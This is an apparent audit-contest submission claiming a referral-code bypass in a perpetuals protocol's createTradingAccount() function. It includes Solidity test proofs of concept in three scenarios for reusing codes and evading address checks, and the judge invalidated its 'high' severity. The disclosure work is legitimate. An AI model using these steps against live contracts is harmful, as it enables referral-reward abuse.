DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: high
Invalid

Referral Code checks in the function createTradingAccount() can be bypassed

Summary

The function createTradingAccount() found in the TradingAccountBranch contract allows the creation of trading accounts with invalid or empty referral data. This inconsistency can be exploited to bypass referral validations leading to:

  1. Creation of accounts with non-existent referrals.

  2. Reuse of legitimate referral code by same person .

  3. Abuse of the referral system for unintended benefits or rewards.

Vulnerability Details

The createTradingAccount() creates a new trading account and handles validation of referral codes. However, the current implementation of referral codes checks can be bypassed.

The referral code validation process:

  1. Checks if referralCode.length and referral.referralCode.length are not zero.

  2. If isCustomReferralCode is true, it checks if the referrer address is not address(0).

    Or

    If isCustomReferralCode is false , it reverts with InvalidReferralCode() if

    referrer ==msg.sender .

// // // // //
// First Check
if (referralCode.length != 0 && referral.referralCode.length == 0) {
if (isCustomReferralCode) {
CustomReferralConfiguration.Data storage customReferral =
CustomReferralConfiguration.load(string(referralCode));
//Second Check
if (customReferral.referrer == address(0)) {
revert Errors.InvalidReferralCode();
}
referral.referralCode = referralCode;
referral.isCustomReferralCode = true;
} else {
address referrer = abi.decode(referralCode, (address));
//Third Check
if (referrer == msg.sender) {
revert Errors.InvalidReferralCode();
}
referral.referralCode = referralCode;
// // // //

However, the function does not perform proper validation on referralCode, allowing anyone to create an account with empty referral data, which can be used to bypass checks. Since protocol allows users to create multiple tradingAccountIDs, the check can be bypassed by creating another account since referral code checks only work on the first account created. Once an account is created, users can use their instance to bypass the referral code check for all other accounts created.

POC

Test setup should be reused across all scenarios.

Scenario 1 :
Reuse a legitimate referral Code by same user

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";
contract ReferralCode_Test is Base_Test {
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
}
///scenario 1
function test_Ruse_Of_RefferalCode_When_Custom_ReferralCode_Is_Set() public {
//Custom refferal Code setup by owner
string memory customReferralCode = "customReferralCode";
changePrank({ msgSender: users.owner.account });
perpsEngine.createCustomReferralCode(users.owner.account, customReferralCode);
vm.expectEmit({ emitter: address(perpsEngine) });
emit TradingAccountBranch.LogReferralSet(
users.naruto.account, users.owner.account, bytes(customReferralCode), true
);
changePrank({ msgSender: users.naruto.account });
//pass as expected
uint128 tradingAccountId = perpsEngine.createTradingAccount(bytes(customReferralCode), true);
assertTrue(tradingAccountId > 0);
changePrank({ msgSender: users.naruto.account });
//pass
// resue of refferal by same person
uint128 tradingAccountId1 = perpsEngine.createTradingAccount(bytes(customReferralCode), true);
assertTrue(tradingAccountId1 > 1);
}

As you can see in the code above customReferralCode has been reused by the same user

Scenario 2 :
Referral validation Checks can be bypassed

///scenario 2
function test_referral_Code_When_Equals_To_Address_Zero_And_MsgSender() public {
//Create referral code with address(0)
address fake1 = address(0);
bytes memory fakecustomReferralCodeWithAddressZero = abi.encode(fake1);
//Create referral code with msg.sender
address fake2 = users.madara.account;
bytes memory fakecustomReferralCode1WithhMsgSender = abi.encode(fake2);
//Create referral code with random address
// this could also be an empty data bytes("")
address fake3 = address(0x123);
bytes memory fakecustomReferralCodeRandom = abi.encode(fake3);
// Expected
// Function should revert with InvalidReferralCode() when :
// 1. customReferral.referrer == address(0)
// 2. referrer == msg.sender
changePrank({ msgSender: users.madara.account });
vm.expectRevert();
uint128 tradingAccountId0 = perpsEngine.createTradingAccount(fakecustomReferralCodeWithAddressZero, true);
vm.expectRevert();
uint128 tradingAccountId00 = perpsEngine.createTradingAccount(fakecustomReferralCode1WithhMsgSender, false);
// Exploit
changePrank({ msgSender: users.madara.account });
// First create account with random data .
uint128 tradingAccountId1 = perpsEngine.createTradingAccount(fakecustomReferralCodeRandom, false);
assertTrue(tradingAccountId1 > 0);
// Call function with fakecustomReferralCodeWithAddressZero and isCustomReferralCode flag set to true
// this bypasses the check customReferral.referrer == address(0)
uint128 tradingAccountId2 = perpsEngine.createTradingAccount(fakecustomReferralCodeWithAddressZero, true);
assertTrue(tradingAccountId2 > 1);
// Call function with fakecustomReferralCodeWithAddressZero and isCustomReferralCode flag set to false
// this bypasses the check referrer == msg.sender
uint128 tradingAccountId3 = perpsEngine.createTradingAccount(fakecustomReferralCode1WithhMsgSender, false);
assertTrue(tradingAccountId3 > 2);
}

Scenario 3 :
Empty referral data can be used to bypass referral checks

///scenario 3
function test_use_Of_RefferalCode_When_Custom_ReferralCode_Is_Not_Set() public {
address fake = address(0x123);
bytes memory fakecustomReferralCode= abi.encode(fake);
// Expected
vm.expectRevert();
uint128 tradingAccountId0 = perpsEngine.createTradingAccount(fakecustomReferralCode, true);
//Exploit
changePrank({ msgSender: users.madara.account });
// it did not revert with InvalidReferralCode() as expected instead it passed
// with empty refferal code bytes("") and set customReferralCode to true
uint128 tradingAccountId = perpsEngine.createTradingAccount(bytes(""), true);
assertTrue(tradingAccountId > 0);
}

The PoC above highlights the following

  1. Ability to reuse referral code by same user

  2. Bypass of referral validation checks

Impact

An attacker can abuse the referral system for unintended benefits or rewards.

Tools Used

Manual Review

Recommendations

  1. Implement specific checks for the format and content of referral codes data .

  2. Add checks to prevent a user from reusing same referral code multiple times

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!